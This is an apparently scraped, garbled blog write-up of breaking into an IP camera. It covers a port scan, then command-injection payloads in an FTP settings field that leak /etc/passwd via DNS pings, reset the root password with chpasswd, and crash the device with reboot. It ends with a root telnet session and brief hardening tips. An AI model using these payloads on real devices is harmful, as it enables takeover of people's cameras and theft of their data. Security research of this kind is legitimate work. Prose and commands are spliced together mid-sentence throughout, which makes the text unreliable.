PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
81/tcp open http GoAhead-Webs httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open tcpwrapped
$(ping%20-c%202%20%60pwd%60)or cleaning up after URL decode:
$(ping -c 2 `pwd`)but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.
$(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter nameAfter I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...
$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`) ;leak it via DNS
$(echo 'root:passwd'|chpasswd)Now, logging in via telnet
(none) login: rootWoot woot :) I quickly noticed the root of the command injection problem:
Password:
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
iptables -A OUTPUT -p udp ! --dport 53 -j DROPYou can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.
Click to Open Code Editor